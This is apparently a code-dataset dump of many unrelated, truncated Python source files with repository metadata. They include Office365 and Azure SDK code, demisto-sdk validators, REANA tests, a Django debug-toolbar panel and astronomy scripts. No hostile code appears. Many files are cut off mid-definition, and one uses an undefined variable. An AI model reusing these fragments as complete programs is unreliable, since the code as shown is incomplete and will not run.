] | null | null | null | tests/teams/test_channel.py | wreiner/Office365-REST-Python-Client | 476bbce4f5928a140b4f5d33475d0ac9b0783530 | [
"MIT"
] | null | null | null | import uuid
from tests.graph_case import GraphTestCase
from office365.teams.channel import Channel
from office365.teams.chatMessage import ChatMessage
from office365.teams.itemBody import ItemBody
from office365.teams.team import Team
class TestGraphChannel(GraphTestCase):
"""Tests for channels"""
target_t... | 38.918919 | 96 | 0.724653 |
d5edb8bd47c995866de410c13f3b0c2bf430d5d0 | 14,567 | py | Python | demisto_sdk/commands/common/hook_validations/structure.py | SepioSystems/demisto-sdk | f28007a637b7a38f4165bc522328ccbbd9b05628 | [
"MIT"
] | null | null | null | demisto_sdk/commands/common/hook_validations/structure.py | SepioSystems/demisto-sdk | f28007a637b7a38f4165bc522328ccbbd9b05628 | [
"MIT"
] | null | null | null | demisto_sdk/commands/common/hook_validations/structure.py | SepioSystems/demisto-sdk | f28007a637b7a38f4165bc522328ccbbd9b05628 | [
"MIT"
] | null | null | null | """Structure Validator for Demisto files
Module contains validation of schemas, ids and paths.
"""
import json
import logging
import os
import re
from typing import Optional
import yaml
from demisto_sdk.commands.common.configuration import Configuration
from demisto_sdk.commands.common.constants import (
ACCEPTED... | 42.844118 | 119 | 0.558454 |
d5edd2446071e31aba6520e01dbe5f7daea583e1 | 3,546 | py | Python | tests/test_scheduler.py | holzman/reana-server | f0d55e16ba01ae4e4ca53b823eaa56d6bd2572aa | [
"MIT"
] | null | null | null | tests/test_scheduler.py | holzman/reana-server | f0d55e16ba01ae4e4ca53b823eaa56d6bd2572aa | [
"MIT"
] | null | null | null | tests/test_scheduler.py | holzman/reana-server | f0d55e16ba01ae4e4ca53b823eaa56d6bd2572aa | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
#
# This file is part of REANA.
# Copyright (C) 2018 CERN.
#
# REANA is free software; you can redistribute it and/or modify it
# under the terms of the MIT License; see LICENSE file for more details.
"""REANA-Server Workflow Execution Scheduler."""
from bravado.exception import HTTPError
fro... | 34.096154 | 86 | 0.735195 |
d5ede7c4cb884371a253bfffb321063a8395872f | 3,696 | py | Python | src/kol/manager/ChatManager.py | thedufer/pykol | bad8ff4bf2f4bc6a7a5b6dbbd9333ef5aaf3432a | [
"BSD-3-Clause"
] | 1 | 2016-05-08T12:10:32.000Z | 2016-05-08T12:10:32.000Z | src/kol/manager/ChatManager.py | ZJ/pykol | c0523a4a4d09bcdf16f8c86c78da96914e961076 | [
"BSD-3-Clause"
] | null | null | null | src/kol/manager/ChatManager.py | ZJ/pykol | c0523a4a4d09bcdf16f8c86c78da96914e961076 | [
"BSD-3-Clause"
] | null | null | null | from kol.request.GetChatMessagesRequest import GetChatMessagesRequest
from kol.request.OpenChatRequest import OpenChatRequest
from kol.request.SendChatRequest import SendChatRequest
from kol.util import ChatUtils
import time
MAX_CHAT_LENGTH = 200
class ChatManager(object):
"This class can be used as an interface fo... | 29.568 | 91 | 0.665855 |
d5edf738fe79eec47be38f2dfed71a13920933bc | 9,773 | py | Python | sdk/storage/azure-mgmt-storage/azure/mgmt/storage/v2019_04_01/models/storage_account.py | pjquirk/azure-sdk-for-python | cbf02ec4f177b96eae1dbbba87c34c2c93880150 | [
"MIT"
] | 1 | 2021-09-07T18:36:04.000Z | 2021-09-07T18:36:04.000Z | sdk/storage/azure-mgmt-storage/azure/mgmt/storage/v2019_04_01/models/storage_account.py | pjquirk/azure-sdk-for-python | cbf02ec4f177b96eae1dbbba87c34c2c93880150 | [
"MIT"
] | 2 | 2019-10-02T23:37:38.000Z | 2020-10-02T01:17:31.000Z | azure-mgmt-storage/azure/mgmt/storage/v2019_04_01/models/storage_account.py | xiafu-msft/azure-sdk-for-python | 4d9560cfd519ee60667f3cc2f5295a58c18625db | [
"MIT"
] | null | null | null | # coding=utf-8
# --------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for
# license information.
#
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes ... | 50.901042 | 139 | 0.682902 |
d5ee052e7d3da4d186b0480e699bab73ecf5128a | 679 | py | Python | tql/algo_nlp/embedding/embedding_tree.py | Jie-Yuan/1_DataMining | f5338388b4f883233f350d4fb9c5903180883430 | [
"Apache-2.0"
] | 14 | 2019-06-25T13:46:32.000Z | 2020-10-27T02:04:59.000Z | tql/algo_nlp/embedding/embedding_tree.py | Jie-Yuan/2_DataMining | f5338388b4f883233f350d4fb9c5903180883430 | [
"Apache-2.0"
] | null | null | null | tql/algo_nlp/embedding/embedding_tree.py | Jie-Yuan/2_DataMining | f5338388b4f883233f350d4fb9c5903180883430 | [
"Apache-2.0"
] | 7 | 2019-06-25T13:26:16.000Z | 2020-10-27T02:05:03.000Z | #!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
__title__ = 'rte'
__author__ = 'JieYuan'
__mtime__ = '19-1-3'
"""
class EmbeddingTrees(object):
def embedding_random_trees(self, random_state):
from sklearn.ensemble import RandomTreesEmbedding
rte = RandomTreesEmbedding(
n_estimators=... | 24.25 | 57 | 0.599411 |
d5ee0e086aef1fcb1eacc1f548fc68ca75cc08f1 | 18,934 | py | Python | grblocalization/GRBLocalizer.py | marivasq/gamma-ai | 735953e80901afea3e5cdeb2a7b27c9ab5725434 | [
"MIT"
] | 6 | 2020-01-29T07:24:14.000Z | 2022-03-16T10:05:25.000Z | grblocalization/GRBLocalizer.py | marivasq/gamma-ai | 735953e80901afea3e5cdeb2a7b27c9ab5725434 | [
"MIT"
] | 6 | 2020-07-03T00:31:10.000Z | 2021-09-10T07:45:01.000Z | grblocalization/GRBLocalizer.py | marivasq/gamma-ai | 735953e80901afea3e5cdeb2a7b27c9ab5725434 | [
"MIT"
] | 5 | 2019-02-27T22:56:49.000Z | 2019-08-24T19:01:41.000Z | ###################################################################################################
#
# GRBLocalizer.py
#
# Copyright (C) by Andreas Zoglauer & Anna Shang.
# All rights reserved.
#
# Please see the file LICENSE in the main repository for the copyright-notice.
#
#######################################... | 34.053957 | 229 | 0.67223 |
d5ee0fb9148dbd70fbab2e9b3cc45af0e2485dae | 9,548 | py | Python | config/custom_components/ytube_music_player/config_flow.py | Poeschl/P-Assistant-conf | 5365778a194d69370009eb540455161646944138 | [
"MIT"
] | null | null | null | config/custom_components/ytube_music_player/config_flow.py | Poeschl/P-Assistant-conf | 5365778a194d69370009eb540455161646944138 | [
"MIT"
] | null | null | null | config/custom_components/ytube_music_player/config_flow.py | Poeschl/P-Assistant-conf | 5365778a194d69370009eb540455161646944138 | [
"MIT"
] | null | null | null | """Provide the config flow."""
from homeassistant.core import callback
from homeassistant import config_entries
import homeassistant.helpers.config_validation as cv
import voluptuous as vol
import logging
from .const import *
import os.path
from homeassistant.helpers.storage import STORAGE_DIR
from ytmusicapi import YT... | 47.502488 | 156 | 0.747905 |
d5ee44ee98bd98d6d02b9a72233473ed7bd27cc9 | 9,250 | py | Python | errorcam/scripts/pytorchgradcam/gradcam.py | frkl/SOBERT-XVQA-demo | c99d2f36d9ed275dfd3ba25c200019bbde197d4f | [
"Apache-2.0"
] | 2 | 2021-07-25T12:44:29.000Z | 2021-07-27T08:55:48.000Z | errorcam/scripts/pytorchgradcam/gradcam.py | frkl/SOBERT-XVQA-demo | c99d2f36d9ed275dfd3ba25c200019bbde197d4f | [
"Apache-2.0"
] | null | null | null | errorcam/scripts/pytorchgradcam/gradcam.py | frkl/SOBERT-XVQA-demo | c99d2f36d9ed275dfd3ba25c200019bbde197d4f | [
"Apache-2.0"
] | 1 | 2021-07-25T12:44:30.000Z | 2021-07-25T12:44:30.000Z | import argparse
import cv2
import numpy as np
import torch
from torch.autograd import Function
from torchvision import models
import pdb
class FeatureExtractor():
""" Class for extracting activations and
registering gradients from targetted intermediate layers """
def __init__(self, model, target_layers)... | 32.45614 | 121 | 0.610703 |
d5ee6b368b0d4584ed1bd6908ed0752e007fd580 | 558 | py | Python | examples/serialized_declare.py | jmptbl/puka | bc6e845c8a5f4319ffc54cc71959c56a8893edaf | [
"MIT"
] | 81 | 2015-01-22T10:09:37.000Z | 2022-01-25T04:38:29.000Z | examples/serialized_declare.py | ov7a/puka | d2a1a8747b417021d6f18df7ee73d336f670f5a9 | [
"MIT"
] | 17 | 2015-05-13T01:51:53.000Z | 2021-03-05T04:01:39.000Z | examples/serialized_declare.py | ov7a/puka | d2a1a8747b417021d6f18df7ee73d336f670f5a9 | [
"MIT"
] | 25 | 2015-02-12T14:02:41.000Z | 2020-05-15T14:08:43.000Z | #!/usr/bin/env python
import sys
sys.path.append("..")
import logging
FORMAT_CONS = '%(asctime)s %(name)-12s %(levelname)8s\t%(message)s'
logging.basicConfig(level=logging.DEBUG, format=FORMAT_CONS)
import puka
client = puka.Client("amqp://localhost/")
promise = client.connect()
client.wait(promise)
for i in ra... | 19.241379 | 67 | 0.706093 |
d5eea9997b25ae0985d0f4b4aed34cbac29d035f | 1,596 | py | Python | dliplib/train/lodopab_dip.py | oterobaguer/ct-dip-benchmark | 0539c284c94089ed86421ea0892cd68aa1d0575a | [
"Apache-2.0"
] | null | null | null | dliplib/train/lodopab_dip.py | oterobaguer/ct-dip-benchmark | 0539c284c94089ed86421ea0892cd68aa1d0575a | [
"Apache-2.0"
] | null | null | null | dliplib/train/lodopab_dip.py | oterobaguer/ct-dip-benchmark | 0539c284c94089ed86421ea0892cd68aa1d0575a | [
"Apache-2.0"
] | null | null | null | import numpy as np
from dival import TaskTable
from dival.measure import PSNR, SSIM
from dliplib.utils import Params
from dliplib.utils.helper import select_hyper_best_parameters, load_standard_dataset
from dliplib.reconstructors.dip import DeepImagePriorReconstructor
from dliplib.utils.reports import save_results_tab... | 32.571429 | 86 | 0.62218 |
d5eead852e6b1d64298a4c15943e954ea27f4094 | 1,702 | py | Python | config/settings/test.py | aleducode/help-abejorral | cd924bcef45ad45a4ed3d2950fb1002b170309a8 | [
"MIT"
] | 4 | 2020-08-18T23:41:34.000Z | 2020-10-08T21:15:54.000Z | config/settings/test.py | aleducode/help-abejorral | cd924bcef45ad45a4ed3d2950fb1002b170309a8 | [
"MIT"
] | 3 | 2020-08-31T19:38:46.000Z | 2020-08-31T19:39:18.000Z | config/settings/test.py | aleducode/help-abejorral | cd924bcef45ad45a4ed3d2950fb1002b170309a8 | [
"MIT"
] | 1 | 2020-08-25T18:29:14.000Z | 2020-08-25T18:29:14.000Z | """
With these settings, tests run faster.
"""
from .base import * # noqa
from .base import env
# GENERAL
# ------------------------------------------------------------------------------
# https://docs.djangoproject.com/en/dev/ref/settings/#secret-key
SECRET_KEY = env(
"DJANGO_SECRET_KEY",
default="SWfwHkb73... | 32.730769 | 80 | 0.49765 |
d5eeb748b3921ce7a59131f0202e141fcda72509 | 2,688 | py | Python | PriceCutdown/pipelines.py | fioan89/Price-Cutdown | eca90719f8b7016011cd2c7cdcb3dec4701adbc5 | [
"MIT"
] | null | null | null | PriceCutdown/pipelines.py | fioan89/Price-Cutdown | eca90719f8b7016011cd2c7cdcb3dec4701adbc5 | [
"MIT"
] | null | null | null | PriceCutdown/pipelines.py | fioan89/Price-Cutdown | eca90719f8b7016011cd2c7cdcb3dec4701adbc5 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
import psycopg2
# Don't forget to add your pipeline to the ITEM_PIPELINES setting
# See: http://doc.scrapy.org/en/latest/topics/item-pipeline.html
CHECK_PROD_ID = '''SELECT prod_id FROM products WHERE name LIKE %s and owner like %s'''
INSERT_PRODUCT = '''INSERT INTO products (owner, name, ur... | 47.157895 | 170 | 0.667411 |
d5eec1e547a15b8811dca9eaea365adc7b6e9dbb | 1,238 | py | Python | experiments/ashvin/vae/old/point2d_conv_sweep.py | Asap7772/railrl_evalsawyer | baba8ce634d32a48c7dfe4dc03b123e18e96e0a3 | [
"MIT"
] | null | null | null | experiments/ashvin/vae/old/point2d_conv_sweep.py | Asap7772/railrl_evalsawyer | baba8ce634d32a48c7dfe4dc03b123e18e96e0a3 | [
"MIT"
] | null | null | null | experiments/ashvin/vae/old/point2d_conv_sweep.py | Asap7772/railrl_evalsawyer | baba8ce634d32a48c7dfe4dc03b123e18e96e0a3 | [
"MIT"
] | null | null | null | # import tensorflow as tf
# import numpy as np
# import mnist_data
# import os
from rlkit.torch.vae.conv_vae import ConvVAE
from rlkit.torch.vae.vae_trainer import ConvVAETrainer
from rlkit.torch.vae.point2d_data import get_data
# import plot_utils
# import glob
# import ss.path
# import argparse
from rlkit.launchers.... | 28.790698 | 74 | 0.678514 |
d5ef4cee62c0e4352d0fc3c3e41b6cdb35c26d07 | 103,446 | py | Python | superset/views/core.py | visshaljagtap/incubator-superset | c9c18011f3cbee144ef8f76568449a4b83325773 | [
"Apache-2.0"
] | 11 | 2018-01-16T16:52:12.000Z | 2020-06-12T12:17:03.000Z | superset/views/core.py | visshaljagtap/incubator-superset | c9c18011f3cbee144ef8f76568449a4b83325773 | [
"Apache-2.0"
] | 67 | 2017-11-06T21:31:14.000Z | 2020-11-19T03:52:18.000Z | superset/views/core.py | visshaljagtap/incubator-superset | c9c18011f3cbee144ef8f76568449a4b83325773 | [
"Apache-2.0"
] | 4 | 2018-01-31T00:11:50.000Z | 2019-12-26T04:11:52.000Z | # Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not u... | 36.501764 | 105 | 0.583754 |
d5ef511dcefc3cb45c58392e7030f98b07f0a33d | 8,635 | py | Python | tests/integration/chat/v2/service/channel/test_invite.py | theDrinkMD/twibbage | c0aba60bd2df50f0a5688db4a01048ea1efd1a45 | [
"MIT"
] | null | null | null | tests/integration/chat/v2/service/channel/test_invite.py | theDrinkMD/twibbage | c0aba60bd2df50f0a5688db4a01048ea1efd1a45 | [
"MIT"
] | null | null | null | tests/integration/chat/v2/service/channel/test_invite.py | theDrinkMD/twibbage | c0aba60bd2df50f0a5688db4a01048ea1efd1a45 | [
"MIT"
] | null | null | null | # coding=utf-8
"""
This code was generated by
\ / _ _ _| _ _
| (_)\/(_)(_|\/| |(/_ v1.0.0
/ /
"""
from tests import IntegrationTestCase
from tests.holodeck import Request
from twilio.base.exceptions import TwilioException
from twilio.http.response import Response
class InviteTestCase(Integration... | 43.611111 | 190 | 0.579965 |
d5ef749d99712d00359a28fcce2cebe85be48d14 | 6,209 | py | Python | models/train_classifier.py | joshasgard/Disaster-Response-App | a09284957d093b1d74e059792336fa5d59ff17e2 | [
"Unlicense",
"MIT"
] | null | null | null | models/train_classifier.py | joshasgard/Disaster-Response-App | a09284957d093b1d74e059792336fa5d59ff17e2 | [
"Unlicense",
"MIT"
] | null | null | null | models/train_classifier.py | joshasgard/Disaster-Response-App | a09284957d093b1d74e059792336fa5d59ff17e2 | [
"Unlicense",
"MIT"
] | null | null | null | # Import libraries and downloads
import sys
import os
import numpy as np
import pandas as pd
import time
# Import natural language processing toolkit downloads
import nltk
nltk.download(['punkt', 'wordnet'])
nltk.download('stopwords')
from nltk.tokenize import word_tokenize
from nltk.stem import WordNetLemmatizer... | 30.436275 | 103 | 0.654695 |
d5ef7c1954919ccaa7ffc0cbe3cbeb3606b499eb | 6,349 | py | Python | API/src/main/resources/Lib/robot/model/stats.py | TagExpress/SikuliX1 | de9da11794dd94b3821eddc5c01b534d3f2fe828 | [
"MIT"
] | null | null | null | API/src/main/resources/Lib/robot/model/stats.py | TagExpress/SikuliX1 | de9da11794dd94b3821eddc5c01b534d3f2fe828 | [
"MIT"
] | null | null | null | API/src/main/resources/Lib/robot/model/stats.py | TagExpress/SikuliX1 | de9da11794dd94b3821eddc5c01b534d3f2fe828 | [
"MIT"
] | null | null | null | # Copyright (c) 2010-2020, sikuli.org, sikulix.com - MIT license
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required b... | 33.067708 | 81 | 0.61238 |
d5ef7f79a85c6a15f2caa2a1dae2edc6c6683fb2 | 2,220 | py | Python | alipay/aop/api/domain/OrderVoucherAvailableShop.py | antopen/alipay-sdk-python-all | 8e51c54409b9452f8d46c7bb10eea7c8f7e8d30c | [
"Apache-2.0"
] | null | null | null | alipay/aop/api/domain/OrderVoucherAvailableShop.py | antopen/alipay-sdk-python-all | 8e51c54409b9452f8d46c7bb10eea7c8f7e8d30c | [
"Apache-2.0"
] | null | null | null | alipay/aop/api/domain/OrderVoucherAvailableShop.py | antopen/alipay-sdk-python-all | 8e51c54409b9452f8d46c7bb10eea7c8f7e8d30c | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/env python
# -*- coding: utf-8 -*-
import json
from alipay.aop.api.constant.ParamConstants import *
class OrderVoucherAvailableShop(object):
def __init__(self):
self._real_shop_ids = None
self._shop_ids = None
@property
def real_shop_ids(self):
return self._real_shop_... | 30.833333 | 77 | 0.565766 |
d5ef8396e6262d31b1196df666cf32ef1ba096f8 | 1,488 | py | Python | listen/events/kube/kube_pod_add.py | korenlev/calipso-cvim | 39278a5cf09c40b26a8a143ccc0c8d437961abc2 | [
"Apache-2.0"
] | null | null | null | listen/events/kube/kube_pod_add.py | korenlev/calipso-cvim | 39278a5cf09c40b26a8a143ccc0c8d437961abc2 | [
"Apache-2.0"
] | null | null | null | listen/events/kube/kube_pod_add.py | korenlev/calipso-cvim | 39278a5cf09c40b26a8a143ccc0c8d437961abc2 | [
"Apache-2.0"
] | null | null | null | ###############################################################################
# Copyright (c) 2017-2020 Koren Lev (Cisco Systems), #
# Yaron Yogev (Cisco Systems), Ilia Abashin (Cisco Systems) and others #
# #
... | 49.6 | 79 | 0.485887 |
d5ef8ccea7c4e498c76a6d41f9556d5edb2dcf34 | 65,411 | py | Python | sdk/chaos/azure-mgmt-chaos/azure/mgmt/chaos/models/_models_py3.py | vincenttran-msft/azure-sdk-for-python | 348b56f9f03eeb3f7b502eed51daf494ffff874d | [
"MIT"
] | 1 | 2022-02-01T18:50:12.000Z | 2022-02-01T18:50:12.000Z | sdk/chaos/azure-mgmt-chaos/azure/mgmt/chaos/models/_models_py3.py | vincenttran-msft/azure-sdk-for-python | 348b56f9f03eeb3f7b502eed51daf494ffff874d | [
"MIT"
] | null | null | null | sdk/chaos/azure-mgmt-chaos/azure/mgmt/chaos/models/_models_py3.py | vincenttran-msft/azure-sdk-for-python | 348b56f9f03eeb3f7b502eed51daf494ffff874d | [
"MIT"
] | null | null | null | # coding=utf-8
# --------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may ... | 34.811602 | 532 | 0.614591 |
d5ef9758c8d844e36b75045edcbbe241adaf87dd | 3,175 | py | Python | app/request.py | rodneyspark/news-app | d3a8ab8b0cdceaa788ce40afd4800a24961a9690 | [
"MIT"
] | null | null | null | app/request.py | rodneyspark/news-app | d3a8ab8b0cdceaa788ce40afd4800a24961a9690 | [
"MIT"
] | null | null | null | app/request.py | rodneyspark/news-app | d3a8ab8b0cdceaa788ce40afd4800a24961a9690 | [
"MIT"
] | 1 | 2021-06-06T12:27:12.000Z | 2021-06-06T12:27:12.000Z | import urllib.request,json
from .models import News,Articles
#Getting api key
apiKey = None
# Getting base url
base_url = None
base_url_articles = None
def configure_request(app):
global apiKey,base_url,base_url_articles
apiKey = app.config['NEWS_API_KEY']
base_url = app.config['NEWS_API_BASE_URL']
... | 26.90678 | 90 | 0.640315 |
d5efaa8f29d1b2196faa73ab21c58530b6c26df8 | 767 | py | Python | moma_example/bootstrapform/templatetags/bootstrap.py | gadio/moma-django | 13265379be1dbab18697e5f42f38b3b37f928aa9 | [
"Apache-2.0"
] | 12 | 2015-03-29T05:31:25.000Z | 2019-06-13T16:17:37.000Z | moma_example/bootstrapform/templatetags/bootstrap.py | antoniotaranto/moma-django | 13265379be1dbab18697e5f42f38b3b37f928aa9 | [
"Apache-2.0"
] | 8 | 2015-09-04T21:00:50.000Z | 2021-06-10T17:39:44.000Z | moma_example/bootstrapform/templatetags/bootstrap.py | antoniotaranto/moma-django | 13265379be1dbab18697e5f42f38b3b37f928aa9 | [
"Apache-2.0"
] | 3 | 2015-03-25T21:52:14.000Z | 2021-01-11T03:02:29.000Z | from django.template import Context
from django.template.loader import get_template
from django import template
register = template.Library()
@register.filter
def bootstrap(element):
element_type = element.__class__.__name__.lower()
if element_type == 'boundfield':
template = get_template("bootstrapf... | 26.448276 | 75 | 0.72751 |
d5efb3fa7147d20418c51813cf47e97bd9f36fe0 | 2,051 | py | Python | mmdet/apis/env.py | WangCK0809/mmdetection-wck | 00fb5bd75d36780c6e258c30591e76bd553b4a04 | [
"Apache-2.0"
] | 3 | 2020-06-16T01:23:37.000Z | 2021-06-29T00:11:02.000Z | mmdet/apis/env.py | WangCK0809/mmdetection-wck | 00fb5bd75d36780c6e258c30591e76bd553b4a04 | [
"Apache-2.0"
] | null | null | null | mmdet/apis/env.py | WangCK0809/mmdetection-wck | 00fb5bd75d36780c6e258c30591e76bd553b4a04 | [
"Apache-2.0"
] | 1 | 2021-06-29T00:06:43.000Z | 2021-06-29T00:06:43.000Z | import logging
import os
import random
import subprocess
import numpy as np
import torch
import torch.distributed as dist
import torch.multiprocessing as mp
from mmcv.runner import get_dist_info
def init_dist(launcher, backend='nccl', **kwargs):
if mp.get_start_method(allow_none=True) is None:
mp.set_sta... | 29.3 | 70 | 0.686007 |
d5efdf3c9e5692d7b5fc4753375cec8ec5fc5607 | 58,072 | py | Python | sdk/resources/azure-mgmt-resource/azure/mgmt/resource/policy/v2015_10_01_preview/operations/_operations.py | vincenttran-msft/azure-sdk-for-python | 348b56f9f03eeb3f7b502eed51daf494ffff874d | [
"MIT"
] | 1 | 2022-02-01T18:50:12.000Z | 2022-02-01T18:50:12.000Z | sdk/resources/azure-mgmt-resource/azure/mgmt/resource/policy/v2015_10_01_preview/operations/_operations.py | vincenttran-msft/azure-sdk-for-python | 348b56f9f03eeb3f7b502eed51daf494ffff874d | [
"MIT"
] | null | null | null | sdk/resources/azure-mgmt-resource/azure/mgmt/resource/policy/v2015_10_01_preview/operations/_operations.py | vincenttran-msft/azure-sdk-for-python | 348b56f9f03eeb3f7b502eed51daf494ffff874d | [
"MIT"
] | null | null | null | # pylint: disable=too-many-lines
# coding=utf-8
# --------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
# Code generated by Microsoft (R) AutoRe... | 40.695165 | 281 | 0.66464 |
d5eff19c6f0a7f4483d0c1c933eac03509160b1a | 136 | py | Python | v0.1.0/src/sorn-gpu/setup.py | Saran-nns/PySORN_0.1 | f3d684cb92ed22692b8cbf7ad79729bf7ffd20b7 | [
"Apache-2.0"
] | 9 | 2019-07-01T17:01:49.000Z | 2021-06-22T18:56:29.000Z | v0.1.0/src/sorn-gpu/setup.py | Saran-nns/PySORN_0.1 | f3d684cb92ed22692b8cbf7ad79729bf7ffd20b7 | [
"Apache-2.0"
] | 1 | 2019-09-13T09:45:40.000Z | 2019-09-13T11:48:46.000Z | v0.1.0/src/sorn_cpu/setup.py | Saran-nns/PySORN_0.1 | f3d684cb92ed22692b8cbf7ad79729bf7ffd20b7 | [
"Apache-2.0"
] | 1 | 2021-03-13T08:06:10.000Z | 2021-03-13T08:06:10.000Z | import sys
import os
# Get the current working directory and add it to sys path
cwd = os.getcwd()
print(cwd)
sys.path.insert(0, cwd)
| 13.6 | 58 | 0.727941 |
d5f0261d59f86acdbfacb934c9ed4d0f1e553df2 | 1,620 | py | Python | grouping.py | rayjustinhuang/BitesofPy | 03b694c5259ff607621419d9677c5caff90a6057 | [
"MIT"
] | null | null | null | grouping.py | rayjustinhuang/BitesofPy | 03b694c5259ff607621419d9677c5caff90a6057 | [
"MIT"
] | null | null | null | grouping.py | rayjustinhuang/BitesofPy | 03b694c5259ff607621419d9677c5caff90a6057 | [
"MIT"
] | null | null | null | from itertools import groupby
from collections import defaultdict
cars = [
# need mock data? -> https://www.mockaroo.com == awesome
('Mercedes-Benz', '300D'), ('Mercedes-Benz', '600SEL'),
('Toyota', 'Avalon'), ('Ford', 'Bronco'),
('Chevrolet', 'Cavalier'), ('Chevrolet', 'Corvette'),
('Mercedes-Benz... | 34.468085 | 74 | 0.582099 |
d5f05ae9986ecb25ded40aa6be424bf3a667f5c7 | 1,629 | py | Python | conv_is_all_you_need/src/Cropping_Window_Xception/scripts/compress_imgs_into_jpg.py | guitarmind/HPA-competition-solutions | 547d53aaca148fdb5f4585526ad7364dfa47967d | [
"MIT"
] | null | null | null | conv_is_all_you_need/src/Cropping_Window_Xception/scripts/compress_imgs_into_jpg.py | guitarmind/HPA-competition-solutions | 547d53aaca148fdb5f4585526ad7364dfa47967d | [
"MIT"
] | null | null | null | conv_is_all_you_need/src/Cropping_Window_Xception/scripts/compress_imgs_into_jpg.py | guitarmind/HPA-competition-solutions | 547d53aaca148fdb5f4585526ad7364dfa47967d | [
"MIT"
] | null | null | null | import pandas as pd
import PIL
from os import makedirs
from multiprocessing import Pool
from os.path import join as pjoin
from lib.utils import debug, str_to_labels, load_image
from lib.config import gen_config
from skimage.io import imsave
makedirs(output_folder, exist_ok=True)
def compress_one(task):
id_ = tas... | 32.58 | 113 | 0.684469 |
d5f06c9b775bb2590c9f2c93126aa93afaac781b | 1,931 | py | Python | algorithm/python/quick_find.py | yennanliu/CS_basics | 3c50c819897a572ff38179bfb0083a19b2325fde | [
"Unlicense"
] | 18 | 2019-08-01T07:45:02.000Z | 2022-03-31T18:05:44.000Z | algorithm/python/quick_find.py | yennanliu/CS_basics | 3c50c819897a572ff38179bfb0083a19b2325fde | [
"Unlicense"
] | null | null | null | algorithm/python/quick_find.py | yennanliu/CS_basics | 3c50c819897a572ff38179bfb0083a19b2325fde | [
"Unlicense"
] | 15 | 2019-12-29T08:46:20.000Z | 2022-03-08T14:14:05.000Z | #################################################################
# ALGORITHM DEMO : QUICK FIND
#################################################################
"""
Quick Find algorithm in python
https://www.coursera.org/learn/algorithms-part1/lecture/EcF3P/quick-find
https://github.com/brunops/algorithms/blob/mast... | 25.746667 | 87 | 0.557742 |
d5f079e9f479712cbb85314a421a805772284710 | 3,586 | py | Python | oscar/lib/python2.7/site-packages/debug_toolbar/panels/signals.py | sainjusajan/django-oscar | 466e8edc807be689b0a28c9e525c8323cc48b8e1 | [
"BSD-3-Clause"
] | null | null | null | oscar/lib/python2.7/site-packages/debug_toolbar/panels/signals.py | sainjusajan/django-oscar | 466e8edc807be689b0a28c9e525c8323cc48b8e1 | [
"BSD-3-Clause"
] | null | null | null | oscar/lib/python2.7/site-packages/debug_toolbar/panels/signals.py | sainjusajan/django-oscar | 466e8edc807be689b0a28c9e525c8323cc48b8e1 | [
"BSD-3-Clause"
] | null | null | null | from __future__ import absolute_import, unicode_literals
import weakref
from django.core.signals import (
got_request_exception, request_finished, request_started,
)
from django.db.backends.signals import connection_created
from django.db.models.signals import (
class_prepared, post_delete, post_init... | 41.218391 | 97 | 0.596486 |
d5f0af58f85483ad0a1bb919826c195fd1f3d010 | 10,481 | py | Python | thor/testing/data/create_dataset.py | KatKiker/thor | ffc8ab3fbaa8af046f531e8111907a891998d14b | [
"BSD-3-Clause"
] | null | null | null | thor/testing/data/create_dataset.py | KatKiker/thor | ffc8ab3fbaa8af046f531e8111907a891998d14b | [
"BSD-3-Clause"
] | null | null | null | thor/testing/data/create_dataset.py | KatKiker/thor | ffc8ab3fbaa8af046f531e8111907a891998d14b | [
"BSD-3-Clause"
] | 1 | 2021-07-29T15:20:34.000Z | 2021-07-29T15:20:34.000Z | import os
import numpy as np
import pandas as pd
from astropy.time import Time
from astroquery.jplsbdb import SBDB
from thor import preprocessObservations
from thor.utils import getHorizonsVectors
from thor.utils import getHorizonsElements
from thor.utils import getHorizonsEphemeris
from thor.utils import getHorizonsO... | 30.031519 | 137 | 0.625417 |
d5f0b9f02e31c2f305e39393d5207b8cf415e8db | 873 | py | Python | examples/tutorial/3D Views/tmi_on_3d_plane.py | fearaschiarrai/gxpy | 4c5e7594b24e530a8cd94df1eef562c5c6ce3e92 | [
"BSD-2-Clause"
] | 25 | 2017-07-14T06:39:37.000Z | 2022-03-09T21:39:51.000Z | examples/tutorial/3D Views/tmi_on_3d_plane.py | fearaschiarrai/gxpy | 4c5e7594b24e530a8cd94df1eef562c5c6ce3e92 | [
"BSD-2-Clause"
] | 100 | 2016-12-13T17:30:41.000Z | 2021-08-01T20:21:13.000Z | examples/tutorial/3D Views/tmi_on_3d_plane.py | fearaschiarrai/gxpy | 4c5e7594b24e530a8cd94df1eef562c5c6ce3e92 | [
"BSD-2-Clause"
] | 28 | 2016-12-12T17:34:40.000Z | 2022-03-16T15:39:39.000Z | import geosoft.gxpy.gx as gx
import geosoft.gxpy.view as gxview
import geosoft.gxpy.group as gxgroup
import geosoft.gxpy.agg as gxagg
import geosoft.gxpy.grid as gxgrd
import geosoft.gxpy.viewer as gxviewer
gxc = gx.GXpy()
grid_file = 'Wittichica Creek Residual Total Field.grd'
# create a 3D view
with gxview.View_3d... | 33.576923 | 96 | 0.713631 |
d5f0c034b3e4d11404491d28ddea2c88c051d89e | 19,167 | py | Python | Networks/TinyYOLOv3.py | erwangccc/Keras-yolov3 | 9d211e71218a4e4b744f5a86ad4833fd340351be | [
"Apache-2.0"
] | 3 | 2019-12-13T07:03:25.000Z | 2020-03-19T15:10:28.000Z | Networks/TinyYOLOv3.py | erwangccc/Keras-yolov3 | 9d211e71218a4e4b744f5a86ad4833fd340351be | [
"Apache-2.0"
